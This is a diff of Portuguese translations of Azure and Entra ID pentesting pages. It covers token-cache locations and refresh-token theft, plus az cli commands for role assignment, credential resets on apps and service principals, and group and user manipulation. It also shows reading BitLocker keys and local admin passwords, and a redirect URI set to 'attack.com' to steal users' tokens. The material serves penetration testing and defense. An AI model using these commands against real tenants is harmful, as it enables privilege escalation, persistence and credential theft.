- Em Linux e macOS você pode obter **access tokens, refresh tokens and id tokens** do Az PowerShell (se usado) executando `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
|
||||
- No Windows isso gera apenas id tokens.
|
||||
- É possível verificar se o Az PowerShell foi usado em Linux e macOS checando se `$HOME/.local/share/.IdentityService/` existe (embora os arquivos contidos estejam vazios e sejam inúteis)
|
||||
- Se o usuário estiver **logado no Azure com o browser**, de acordo com este [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) é possível iniciar o fluxo de autenticação com um **redirect to localhost**, fazer o browser autorizar automaticamente o login e receber o refresh token. Note que existem apenas algumas aplicações FOCI que permitem redirect para localhost (como az cli ou o powershell module), então essas aplicações precisam estar permitidas.
|
||||
- Outra opção explicada no blog é usar a ferramenta [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) que pode usar qualquer aplicação porque ela **obtém o OAuth code para então obter um refresh token a partir do título da página final de auth** usando o redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
|
||||
- **`AzureRmContext.json`** contém informação sobre logins anteriores usando Az PowerShell (mas sem credenciais)
|
||||
- Dentro de **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** há vários ficheiros `.bin` com **access tokens**, ID tokens e informação de conta encriptada com o DPAPI do usuário.
|
||||
- É possível encontrar mais **access tokens** nos ficheiros `.tbres` dentro de **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`**, que contêm um base64 encriptado com DPAPI com access tokens.
|
||||
- No Linux e macOS você pode obter **access tokens, refresh tokens e id tokens** do Az PowerShell (se usado) executando `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
|
||||
- No Windows isto gera apenas id tokens.
|
||||
- É possível verificar se Az PowerShell foi usado no Linux e macOS checando se `$HOME/.local/share/.IdentityService/` existe (embora os ficheiros contidos sejam vazios e inúteis)
|
||||
- Se o usuário estiver **logado no Azure com o browser**, de acordo com este [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) é possível iniciar o fluxo de autenticação com um **redirect to localhost**, fazer o browser autorizar automaticamente o login e receber o refresh token. Note que existem apenas algumas aplicações FOCI que permitem redirect to localhost (como az cli ou o módulo do powershell), portanto essas aplicações devem ser permitidas.
|
||||
- Outra opção explicada no blog é usar a ferramenta [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) que pode usar qualquer aplicação porque ela irá **get the OAuth code to then get a refresh token from the title of the final auth** page usando o redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
|
||||
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
|
||||
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
|
||||
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+151
-46
@@ -3,15 +3,15 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Note que **nem todas as permissões granulares** dos papéis integrados no Entra ID **são elegíveis para serem usadas em papéis personalizados.**
|
||||
> Observe que **nem todas as permissões granulares** que as built-in roles possuem no Entra ID **são elegíveis para serem usadas em custom roles.**
|
||||
|
||||
## Papéis
|
||||
## Funções
|
||||
|
||||
### Papel: Administrador de Papéis Privilegiados <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
Este papel contém as permissões granulares necessárias para poder atribuir papéis a principais e para dar mais permissões a papéis. Ambas as ações podem ser abusadas para escalar privilégios.
|
||||
Esta role contém as permissões granulares necessárias para poder atribuir funções a principals e conceder mais permissões às funções. Ambas as ações podem ser abusadas para escalar privilégios.
|
||||
|
||||
- Atribuir papel a um usuário:
|
||||
- Atribuir função a um usuário:
|
||||
```bash
|
||||
# List enabled built-in roles
|
||||
az rest --method GET \
|
||||
@@ -27,7 +27,7 @@ az rest --method POST \
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
- Adicionar mais permissões a um papel:
|
||||
- Adicionar mais permissões a uma função:
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
@@ -52,7 +52,7 @@ az rest --method PATCH \
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
Isso permite que um atacante **adicione credenciais** (senhas ou certificados) a aplicativos existentes. Se o aplicativo tiver permissões privilegiadas, o atacante pode se autenticar como esse aplicativo e obter essas permissões.
|
||||
Isto permite que um atacante **adicionar credenciais** (senhas ou certificados) a aplicações existentes. Se a aplicação tiver permissões privilegiadas, o atacante pode autenticar-se como essa aplicação e obter esses privilégios.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
Isso permite as mesmas ações que `applications/credentials/update`, mas restrito a aplicativos de diretório único.
|
||||
Isso permite as mesmas ações que `applications/credentials/update`, mas com escopo limitado a aplicações de um único diretório.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
Ao se adicionar como proprietário, um atacante pode manipular o aplicativo, incluindo credenciais e permissões.
|
||||
Ao se adicionar como proprietário, um atacante pode manipular a aplicação, incluindo credentials e permissions.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,40 +77,153 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
Um atacante pode adicionar uma URI de redirecionamento a aplicativos que estão sendo usados pelos usuários do locatário e, em seguida, compartilhar com eles URLs de login que usam a nova URL de redirecionamento para roubar seus tokens. Observe que, se o usuário já estiver logado no aplicativo, a autenticação será automática, sem que o usuário precise aceitar nada.
|
||||
Um atacante pode adicionar uma redirect URI a aplicações que estão a ser usadas por usuários do tenant e depois partilhar com eles login URLs que usam a nova redirect URI para roubar os seus tokens. Observe que, se o usuário já estivesse autenticado na aplicação, a autenticação será automática sem que o usuário precise aceitar nada.
|
||||
|
||||
Observe que também é possível alterar as permissões que o aplicativo solicita para obter mais permissões, mas, nesse caso, o usuário precisará aceitar novamente o prompt que pede todas as permissões.
|
||||
Observe que também é possível alterar as permissões que a aplicação solicita para obter mais privilégios, mas, neste caso, o usuário terá de aceitar novamente o prompt solicitando todas as permissões.
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
### Elevação de Privilégios em Aplicações
|
||||
|
||||
**Como explicado em [este post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era muito comum encontrar aplicações padrão que têm **API permissions** do tipo **`Application`** atribuídas a elas. Uma API Permission (como chamado no console do Entra ID) do tipo **`Application`** significa que a aplicação pode acessar a API e executar ações sem um contexto de usuário (sem um usuário fazer login na app), e sem precisar de roles do Entra ID para permitir isso. Portanto, é muito comum encontrar **aplicações com altos privilégios em todo tenant do Entra ID**.
|
||||
|
||||
Então, se um atacante tiver qualquer permission/role que permita **atualizar as credenciais (secret o certificate) da aplicação**, o atacante pode gerar uma nova credencial e então usá-la para **autenticar-se como a aplicação**, obtendo todas as permissões que a aplicação possui.
|
||||
|
||||
Note que o blog mencionado compartilha algumas **API permissions** de aplicações padrão comuns da Microsoft; entretanto, algum tempo após esse relatório a Microsoft corrigiu esse problema e agora não é mais possível login como aplicações da Microsoft. No entanto, ainda é possível encontrar **aplicações customizadas com altos privilégios que poderiam ser abusadas**.
|
||||
|
||||
How to enumerate the API permissions of an application:
|
||||
```bash
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
|
||||
## e.g.
|
||||
[
|
||||
{
|
||||
"resourceAccess": [
|
||||
{
|
||||
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
|
||||
"type": "Scope"
|
||||
},
|
||||
{
|
||||
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
|
||||
"type": "Role"
|
||||
}
|
||||
],
|
||||
"resourceAppId": "00000003-0000-0000-c000-000000000000"
|
||||
}
|
||||
]
|
||||
|
||||
## For the perms of type "Scope"
|
||||
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
|
||||
|
||||
## For the perms of type "Role"
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Encontrar todas as aplicações com permissões de API para APIs não-Microsoft (az cli)</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Known Microsoft first-party owner organization IDs.
|
||||
MICROSOFT_OWNER_ORG_IDS=(
|
||||
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
|
||||
"72f988bf-86f1-41af-91ab-2d7cd011db47"
|
||||
)
|
||||
|
||||
is_microsoft_owner() {
|
||||
local owner="$1"
|
||||
local id
|
||||
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
|
||||
if [ "$owner" = "$id" ]; then
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
|
||||
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
|
||||
# Resolve resourceAppId -> owner organization + API display name.
|
||||
while IFS= read -r rid; do
|
||||
[ -n "$rid" ] || continue
|
||||
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
|
||||
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
|
||||
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
|
||||
while IFS= read -r rra; do
|
||||
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
|
||||
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
|
||||
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
|
||||
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
|
||||
[ -n "$owner_org" ] || owner_org="UNKNOWN"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
fi
|
||||
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
</details>
|
||||
|
||||
## Service Principals
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
Isso permite que um atacante adicione credenciais a principais de serviço existentes. Se o principal de serviço tiver privilégios elevados, o atacante pode assumir esses privilégios.
|
||||
Isto permite que um atacante adicione credenciais a service principals existentes. Se o service principal tiver privilégios elevados, o atacante pode assumir esses privilégios.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> A nova senha gerada não aparecerá no console da web, então isso pode ser uma maneira discreta de manter a persistência sobre um principal de serviço.\
|
||||
> A partir da API, elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
> A nova password gerada não aparecerá no console web, então isso pode ser uma forma furtiva de manter persistência em um service principal.\
|
||||
> Via API elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
Se você receber o erro `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, é porque **não é possível modificar a propriedade passwordCredentials** do SP e primeiro você precisa desbloqueá-la. Para isso, você precisa de uma permissão (`microsoft.directory/applications/allProperties/update`) que permite que você execute:
|
||||
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
Isso permite que um atacante adicione credenciais a principais de serviço existentes. Se o principal de serviço tiver privilégios elevados, o atacante pode assumir esses privilégios.
|
||||
Isso permite que um attacker adicione credentials a service principals existentes. Se o service principal tiver privilégios elevados, o attacker pode assumir esses privilégios.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Semelhante às aplicações, esta permissão permite adicionar mais proprietários a um principal de serviço. Possuir um principal de serviço permite controle sobre suas credenciais e permissões.
|
||||
Semelhante às applications, esta permissão permite adicionar mais owners a um service principal. Ser owner de um service principal permite controlar suas credentials e permissions.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -128,13 +241,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Após adicionar um novo proprietário, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para excluir o proprietário. Portanto, **não é possível remover proprietários atualmente**.
|
||||
> Após adicionar um novo owner, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para deletar o owner. Portanto **você não pode remover owners atualmente**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` e `enable`
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
|
||||
Essas permissões permitem desabilitar e habilitar principais de serviço. Um atacante poderia usar essa permissão para habilitar um principal de serviço ao qual ele poderia obter acesso de alguma forma para escalar privilégios.
|
||||
Essas permissões permitem desativar e ativar service principals. Um atacante poderia usar essa permissão para habilitar um service principal ao qual ele conseguisse obter acesso de alguma forma para escalar privilégios.
|
||||
|
||||
Observe que, para essa técnica, o atacante precisará de mais permissões para assumir o principal de serviço habilitado.
|
||||
Observe que, para esta técnica, o atacante precisará de mais permissões para assumir o controle do service principal habilitado.
|
||||
```bash
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -144,7 +257,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
Essas permissões permitem criar e obter credenciais para single sign-on, o que pode permitir o acesso a aplicativos de terceiros.
|
||||
Essas permissões permitem criar e obter credenciais para single sign-on (SSO), o que pode permitir o acesso a aplicativos de terceiros.
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -164,14 +277,6 @@ az rest --method POST \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
### Escalação de Privilégios em Aplicações
|
||||
|
||||
**Como explicado em [este post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, era muito comum encontrar aplicações padrão que têm **permissões de API** do tipo **`Application`** atribuídas a elas. Uma Permissão de API (como chamada no console do Entra ID) do tipo **`Application`** significa que a aplicação pode acessar a API sem um contexto de usuário (sem um usuário logado no aplicativo) e sem precisar de funções do Entra ID para permitir isso. Portanto, é muito comum encontrar **aplicações com altos privilégios em cada locatário do Entra ID**.
|
||||
|
||||
Assim, se um atacante tiver qualquer permissão/função que permita **atualizar as credenciais (segredo ou certificado) da aplicação**, o atacante pode gerar uma nova credencial e, em seguida, usá-la para **autenticar-se como a aplicação**, ganhando todas as permissões que a aplicação possui.
|
||||
|
||||
Observe que o blog mencionado compartilha algumas **permissões de API** de aplicações padrão comuns da Microsoft, no entanto, algum tempo após este relatório, a Microsoft corrigiu esse problema e agora não é mais possível fazer login como aplicações da Microsoft. No entanto, ainda é possível encontrar **aplicações personalizadas com altos privilégios que podem ser abusadas**.
|
||||
|
||||
---
|
||||
|
||||
## Grupos
|
||||
@@ -182,26 +287,26 @@ Esta permissão permite adicionar usuários a grupos privilegiados, levando à e
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID.
|
||||
**Nota**: Esta permissão exclui os grupos atribuíveis a função do Entra ID.
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
Esta permissão permite se tornar um proprietário de grupos. Um proprietário de um grupo pode controlar a associação e as configurações do grupo, potencialmente escalando privilégios para o grupo.
|
||||
Esta permissão permite tornar-se proprietário de grupos. Um proprietário de um grupo pode controlar a associação e as configurações do grupo, potencialmente escalando privilégios no grupo.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID.
|
||||
**Nota**: Esta permissão exclui grupos atribuíveis por função do Entra ID.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
Esta permissão permite adicionar membros a um grupo. Um atacante poderia se adicionar ou adicionar contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado.
|
||||
Esta permissão permite adicionar membros a um grupo. Um atacante poderia adicionar a si mesmo ou contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
Esta permissão permite atualizar a regra de associação em um grupo dinâmico. Um atacante poderia modificar as regras dinâmicas para incluir a si mesmo em grupos privilegiados sem adição explícita.
|
||||
Esta permissão permite atualizar a regra de associação de membros em um grupo dinâmico. Um atacante poderia modificar regras dinâmicas para incluir a si mesmo em grupos privilegiados sem adição explícita.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -212,11 +317,11 @@ az rest --method PATCH \
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID.
|
||||
**Nota**: Esta permissão exclui Entra ID role-assignable groups.
|
||||
|
||||
### Privesc de Grupos Dinâmicos
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
Pode ser possível para os usuários escalarem privilégios modificando suas próprias propriedades para serem adicionados como membros de grupos dinâmicos. Para mais informações, consulte:
|
||||
Pode ser possível que usuários escalem privilégios modificando suas próprias propriedades para serem adicionados como membros de dynamic groups. Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -226,13 +331,13 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
Esta permissão permite redefinir a senha de usuários não administradores, permitindo que um potencial atacante escale privilégios para outros usuários. Esta permissão não pode ser atribuída a funções personalizadas.
|
||||
Esta permissão permite redefinir a senha de usuários não-admin, permitindo que um atacante potencial escale privilégios para outros usuários. Esta permissão não pode ser atribuída a funções personalizadas.
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
Essa permissão permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base nos valores das propriedades; portanto, essa permissão pode permitir que um usuário defina o valor da propriedade necessário para ser membro de um grupo dinâmico específico e escale privilégios.
|
||||
Este privilégio permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base nos valores das propriedades; portanto, essa permissão pode permitir que um usuário defina o valor de propriedade necessário para tornar-se membro de um grupo dinâmico específico e escalar privilégios.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -248,9 +353,9 @@ az rest --method PATCH \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## Políticas de Acesso Condicional e Bypass de MFA
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
Políticas de acesso condicional mal configuradas que exigem MFA podem ser contornadas, verifique:
|
||||
Políticas de Conditional Access mal configuradas que exigem MFA podem ser contornadas — verifique:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
Esta permissão permite que atacantes se atribuam como proprietários de dispositivos para obter controle ou acesso a configurações e dados específicos do dispositivo.
|
||||
Essa permissão permite que atacantes se atribuam como proprietários dos dispositivos para obter controle ou acesso às configurações e dados específicos do dispositivo.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -271,7 +376,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
Esta permissão permite que atacantes associem sua conta a dispositivos para obter acesso ou contornar políticas de segurança.
|
||||
Essa permissão permite que atacantes associem sua conta a dispositivos para obter acesso ou contornar políticas de segurança.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -282,7 +387,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
Esta permissão permite que atacantes leiam as propriedades das credenciais da conta de administrador local de backup para dispositivos associados ao Microsoft Entra, incluindo a senha.
|
||||
Esta permissão permite que attackers leiam as propriedades das credenciais de conta de administrador local com backup para dispositivos ingressados no Microsoft Entra, incluindo a password
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -297,7 +402,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
Esta permissão permite acessar chaves do BitLocker, o que pode permitir que um atacante decifre unidades, comprometendo a confidencialidade dos dados.
|
||||
Esta permissão permite acessar as chaves BitLocker, o que pode permitir que um atacante descriptografe unidades, comprometendo a confidencialidade dos dados.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Azure Active Directory (Azure AD) funciona como o serviço baseado em nuvem da Microsoft para identidade e gerenciamento de acesso. Ele é instrumental para permitir que funcionários façam sign in e obtenham acesso a recursos, tanto dentro quanto fora da organização, abrangendo Microsoft 365, o Azure portal e uma multitude de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, destacando **autenticação, autorização e gerenciamento de usuários**.
|
||||
Azure Active Directory (Azure AD) atua como o serviço em nuvem da Microsoft para gerenciamento de identidade e acesso. Ele é fundamental para permitir que funcionários façam login e obtenham acesso a recursos, tanto dentro quanto fora da organização, incluindo Microsoft 365, o Azure portal e uma infinidade de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, destacando-se **autenticação, autorização e gerenciamento de usuários**.
|
||||
|
||||
Recursos-chave do Azure AD envolvem **autenticação multifator** e **acesso condicional**, além de integração perfeita com outros serviços de segurança da Microsoft. Esses recursos elevam significativamente a segurança das identidades dos usuários e capacitam as organizações a implementar e aplicar efetivamente suas políticas de acesso. Como um componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é vital para o gerenciamento baseado em nuvem das identidades de usuários.
|
||||
Recursos chave do Azure AD incluem **autenticação multifator** e **acesso condicional**, além de integração perfeita com outros serviços de segurança da Microsoft. Esses recursos elevam significativamente a segurança das identidades dos usuários e permitem que as organizações implementem e apliquem de forma eficaz suas políticas de acesso. Como componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é crucial para o gerenciamento em nuvem das identidades dos usuários.
|
||||
|
||||
## Enumeração
|
||||
|
||||
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Quando você faz **login** via **CLI** no Azure com qualquer programa, você está usando uma **Azure Application** de um **tenant** que pertence à **Microsoft**. Essas aplicações, como as que você pode criar na sua conta, **têm um client id**. Você **não conseguirá ver todas elas** nas **listas de aplicações permitidas** que pode ver no console, **mas elas são permitidas por padrão**.
|
||||
When you **login** via **CLI** into Azure with any program, you are using an **Azure Application** from a **tenant** that belongs to **Microsoft**. These Applications, like the ones you can create in your account, **have a client id**. You **won't be able to see all of them** in the **allowed applications lists** you can see in the console, **but they are allowed by default**.
|
||||
|
||||
Por exemplo, um **powershell script** que **autentica** usa uma app com client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Mesmo que a app não apareça no console, um sysadmin poderia **bloquear essa aplicação** para que os usuários não possam acessar usando ferramentas que se conectam via essa App.
|
||||
For example a **powershell script** that **authenticates** use an app with client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Even if the app doesn't appear in the console, a sysadmin could **block that application** so users cannot access using tools that connects via that App.
|
||||
|
||||
No entanto, existem **outros client-ids** de aplicações que **vão permitir que você se conecte ao Azure**:
|
||||
However, there are **other client-ids** of applications that **will allow you to connect to Azure**:
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
@@ -364,9 +364,9 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
### MFA & Políticas de Acesso Condicional
|
||||
### MFA & Conditional Access Policies
|
||||
|
||||
É altamente recomendável habilitar MFA para todos os usuários; entretanto, algumas empresas não o configuram ou podem configurá-lo com um Conditional Access: o usuário será **obrigado a usar MFA se** fizer login a partir de um local específico, navegador ou **alguma condição**. Essas políticas, se não configuradas corretamente, podem ser suscetíveis a **bypasses**. Ver:
|
||||
